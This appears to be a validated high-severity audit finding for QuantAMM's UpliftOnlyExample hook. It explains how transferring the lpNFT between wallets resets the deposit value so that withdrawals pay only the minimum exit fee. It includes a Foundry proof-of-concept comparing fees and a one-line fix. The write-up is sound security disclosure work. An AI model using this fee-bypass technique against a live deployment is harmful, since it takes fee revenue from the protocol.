QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: high
Valid

Incorrect handling of `feeDataArray` in `UpliftOnlyExample::afterUpdate` function, users can always lower the `exitFee` percentage to `minWithdrawalFeeBps` even if price increase by transfer the `lpNFT` token to another wallet and then withdraw.

Summary

Incorrect handling of feeDataArray in UpliftOnlyExample::afterUpdate function, users can always lower the exitFee percentage to minWithdrawalFeeBps even if price increase by transfer lpNFT token to another wallet and then withdraw.

Vulnerability Details

In afterUpdate function, before adding feeDataArray value to the new user, the lpTokenDepositValue are reset to lpTokenDepositValueNow. UpliftOnlyExample.sol#L609

feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;

This code leave a way for users to lower the withdrawal fee when price increase:

  • Before withdrawing, users transfer the lpNFT token to their another wallet and then withdraw.

  • By doing that, the lpTokenDepositValueChange = 0 and feePerLP = (uint256(minWithdrawalFeeBps) * 1e18) / 10000;

  • The exitFee will be the minimum.

Impact

  • Protocol lost a significant amount of exitFee.

PoC

  • Case 1: Bob does not avoid exitFee

    • Amount before: 1000e24

    • Amount add liquidity: 1000e24

    • Amount after: 980e24

    • exitFee amount: 20e24

  • Case 2: Bob transfer lpNFT token to avoid exitFee

    • Amount before: 1000e24

    • Amount add liquidity: 1000e24

    • Amount after: 999.5e24

    • exitFee amount: 0.5e24

  • Place these two test into UpliftExample.t.sol.

  • Then in /2024-12-quantamm/pkg/pool-hooks run forge test --mt test_BobRemoveLiquidityDoublePositivePriceChange -vv. Look into the terminal, the logs result is as above.

function test_BobRemoveLiquidityDoublePositivePriceChange_NotAvoidFee() public {
uint256 amountBefore = dai.balanceOf(bob);
console.log('Amount before: ', amountBefore);
LPNFT lpNft = upliftOnlyRouter.lpNFT();
// Add liquidity so Bob has BPT to remove liquidity.
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)]
.toMemoryArray();
vm.startPrank(bob);
uint256[] memory amountsIn = upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
2e9 * 1e18,
false,
bytes('')
);
vm.stopPrank();
uint256 amountAddLiquidity = amountsIn[0];
console.log('Amount add liquidity: ', amountAddLiquidity);
skip(1 days);
int256[] memory prices = new int256[]();
for (uint256 i = 0; i < tokens.length; ++i) {
prices[i] = int256(i) * 2e18;
}
updateWeightRunner.setMockPrices(pool, prices);
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.removeLiquidityProportional(
2e9 * 1e18,
minAmountsOut,
false,
pool
);
vm.stopPrank();
uint256 amountAfter = dai.balanceOf(bob);
console.log('Amount after: ', amountAfter);
console.log('exitFee amount: ', amountBefore - amountAfter);
}
function test_BobRemoveLiquidityDoublePositivePriceChange_AvoidFee() public {
uint256 amountBefore = dai.balanceOf(bob);
console.log('Amount before: ', amountBefore);
LPNFT lpNft = upliftOnlyRouter.lpNFT();
// Add liquidity so Bob and Alice has BPT to remove liquidity.
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)]
.toMemoryArray();
vm.startPrank(bob);
uint256[] memory amountsIn = upliftOnlyRouter.addLiquidityProportional(
pool,
maxAmountsIn,
2e9 * 1e18,
false,
bytes('')
);
vm.stopPrank();
uint256 amountAddLiquidity = amountsIn[0];
console.log('Amount add liquidity: ', amountAddLiquidity);
skip(1 days);
int256[] memory prices = new int256[]();
for (uint256 i = 0; i < tokens.length; ++i) {
prices[i] = int256(i) * 2e18;
}
updateWeightRunner.setMockPrices(pool, prices);
skip(1 days);
vm.startPrank(bob);
lpNft.transferFrom(bob, alice, 1);
vm.stopPrank();
skip(1 days);
vm.startPrank(alice);
lpNft.transferFrom(alice, bob, 1);
vm.stopPrank();
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
vm.startPrank(bob);
upliftOnlyRouter.removeLiquidityProportional(
2e9 * 1e18,
minAmountsOut,
false,
pool
);
vm.stopPrank();
uint256 amountAfter = dai.balanceOf(bob);
console.log('Amount after: ', amountAfter);
console.log('exitFee amount: ', amountBefore - amountAfter);
}

Tools Used

  • Manual review

  • Foundry

Recommendations

  • Do not update lpTokenDepositValue.

- feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_bypass_fee_collection_updating_the_deposited_value

Likelihood: High, any transfer will trigger the bug. Impact: High, will update lpTokenDepositValue to the new current value without taking fees on profit.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!